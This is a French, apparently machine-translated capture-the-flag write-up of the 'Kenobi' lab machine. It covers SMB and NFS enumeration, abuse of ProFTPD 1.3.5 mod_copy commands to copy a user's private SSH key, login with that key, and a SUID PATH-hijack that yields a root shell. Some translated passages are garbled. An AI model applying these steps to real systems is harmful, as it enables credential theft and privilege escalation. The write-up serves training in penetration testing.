Intro
La boîte Kenobi couvrira les sujets suivants :
- Enumération des parts de samba
- Manipulation d’une version vulnérable de proftpd
- Manipulation des variables du chemin d’accès pour l’escalade des privilèges
Enumération
Nmap
Analyse initiale de Nmap :
Le serveur apache sur le port 80, la version de ProFTPD sur le port 21 et les partages Samba font l’objet de mon attention immédiate.
Rien de valable sur le port 80, ni après avoir recherché d’autres répertoires/fichiers avec gobuster.
Enumérons les partages smb et les utilisateurs avec les scripts Nmap :
PORT STATE SERVICE 445/tcp open microsoft-ds Résultats du script de l'hôte : | smb-enum-shares : | Compte_utilisé : invité | \N- 10.10.100.215\N- \N- \N- \N- \N$ : | Type : STYPE_IPC_HIDDEN | Commentaire : Service IPC (serveur kenobi (Samba, Ubuntu)) | Utilisateurs : 2 | Utilisateurs max :
Il semble que nous ayons un accès en lecture/écriture à deux des parts.
Examinons l’une de ces actions :
smb : \> ls . D 0 Wed Sep 4 12:49:09 2019 ... D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 blocs de taille 1024. 6877100 blocs disponibles smb : \N- get log.txt ┌──(kali㉿kali)-[~] └─$ cat log.txt
Génération d'une paire de clés rsa publiques/privées. Saisissez le fichier dans lequel vous souhaitez enregistrer la clé (/home/kenobi/.ssh/id_rsa) : Création du répertoire '/home/kenobi/.ssh'. Saisir la phrase d'authentification (vide pour l'absence de phrase d'authentification) : Saisir à nouveau la même phrase d'authentification : Votre identification a été sauvegardée dans /home/kenobi/.ssh/id_rsa. Votre clé publique a été enregistrée dans /home/kenobi/.ssh/id_rsa.pub. L'empreinte digitale clé est : SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q [email protected] L'image aléatoire de la clé est : ...
log.txt contient des informations sur la génération d’une clé ssh privée située dans son répertoire par défaut. Il contient également des informations sur le service ProFTPD.
NFS
Avant d’entamer la phase d’exploitation, nous devons encore procéder à une énumération. Enumérons le système de fichiers réseau (nfs) trouvé sur le port 111 plus tôt :
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount : |_ /var *
Maintenant que nous savons qu’il est possible de monter le répertoire
/var
, gardons cela à l’esprit et passons à la phase d’exploitation.
Exploitation
Searchsploit
Nous avons trouvé la version de proftpd plus tôt, vérifions les exploits potentiels :
----------------------------------------------------------- --------------------------------- Titre de l'exploit | Chemin d'accès ----------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - Exécution de la commande 'mod_copy' (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Exécution de commande à distance | linux/remote/36803.py ProFTPd 1.3.5 - Copie de fichiers | linux/remote/36742.txt ----------------------------------------------------------- ---------------------------------
Le troisième exploit, « 36742.txt », nous apprend qu’il faut utiliser la fonction
SITE CPFT/SITE CPTO
commandes. Il devrait nous permettre d’utiliser ces commandes sans authentification pour copier des fichiers/répertoires d’un endroit à un autre sur le serveur. Continuons et connectons nous avecnc
au port 21 (ftp).
Nous savons que le service FTP s’exécute sous l’utilisateur Kenobi (d’après le fichier sur le partage), et qu’une clé ssh est générée pour cet utilisateur (log.txt).
220 Serveur ProFTPD 1.3.5 (Installation par défaut de ProFTPD) [10 .10.100.215] SITE CPFR /home/kenobi/.ssh/id_rsa 350 Fichier ou répertoire existant, prêt pour le nom de destination SITE CPTO /var/tmp/id_rsa 250 Copie réussie
Nous pouvons maintenant monter le répertoire localement et télécharger la clé précédemment copiée.
┌──(kali㉿kali)-[~] └─$ ls -la /mnt/kenobiNFS total 56 drwxr-xr-x 14 root root 4096 Sep 4 2019 . drwxr-xr-x 3 root root 4096 Feb 26 00:07 ... drwxr-xr-x 2 root root 4096 Sep 4 2019 backups drwxr-xr-x 9 root root 4096 Sep 4 2019 cache drwxrwxrwt 2 root root 4096 Sep 4 2019 crash drwxr-xr-x 40 root root 4096 Sep 4 2019 lib drwxrwsr-x 2 root staff 4096 Apr 12 2016 local lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail drwxr-xr-x 2 root root 4096 Feb 26 2019 opt lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 29 janv. 2019 snap drwxr-xr-x 5 root root 4096 Sep 4 2019 spool drwxrwxrwt 6 root root 4096 Feb 25 23:54 tmp drwxr-xr-x 3 root root 4096 Sep 4 2019 www
Nous avons maintenant un montage réseau sur notre cible, tout comme un appareil physiquement connecté à notre PC ! Nous pouvons aller sur
/var/tmp
, obtenir la clé privée, puis nous connecter au compte de Kenobi.
[email protected]:~$ whoami kenobi
Nous devons toujours donner aux clés ssh privées des permissions de lecture/écriture seulement. Sinon, il ne fonctionnera pas pour des raisons de sécurité. Voici les autorisations correctes :
Les permissions du répertoire .ssh doivent être de 700 (drwx——).
La clé publique (fichier .pub) doit être 644 (-rw-r–r–).
La clé privée (id_rsa) sur l’hôte du client et le fichier authorized_keys sur le serveur doivent être au nombre de 600 (-rw——-).
L’escalade des privilèges
SUID
Recherchons les fichiers/programmes pour lesquels le bit SUID est activé :
L’abus de SUID est une technique courante d’escalade des privilèges qui permet d’obtenir l’accès à la racine en exécutant un binaire appartenant à la racine et dont le SUID est activé. Une commande alternative serait :
find / -perm -u=s -type f 2>/dev/null
Vous pouvez généralement consulter GTFOBins pour savoir comment abuser du fichier avec le bit SUID défini, mais /usr/bin/menu
est un programme sur mesure. Par conséquent, nous ne pouvons pas le trouver à cet endroit. Exécutons-le et voyons ce qu’il fait :
*************************************** 1. status check 2. kernel version 3. ifconfig ** Saisissez votre choix :
Il exécute quelques commandes simples après avoir choisi. Essayons de voir ce qui se passe dans le backend avec la commande strings, qui recherche des chaînes lisibles par l’homme sur un binaire :
Cela montre que les binaires sont exécutés sans leur chemin complet, par exemple en n’utilisant pas /usr/bin/curl, /usr/bin/uname ou /usr/sbin/ifconfig .
Le fichier lui-même s’exécute avec les privilèges de l’administrateur, ce qui fait que les commandes exécutées s’exécutent de la même manière.
*************************************** 1. vérification de l'état 2. version du noyau 3. ifconfig ** Entrez votre choix :3 # whoami racine #
Tout d’abord, nous naviguons jusqu’au chemin d’accès tmp, puis nous envoyons un écho à /bin/sh
dans un nouveau fichier appelé ifconfig
. Ensuite, définissez les permissions correctes pour notre ifconfig nouvellement créé. Ensuite, nous définissons la variable PATH sur le chemin actuel (tmp), comme suit /usr/bin/menu
utilisera notre variable PATH pour trouver le binaire ifconfig
.
J’espère que tout est clair. Si ce n’est pas le cas, faites-le moi savoir dans les commentaires ci-dessous.
0 commentaires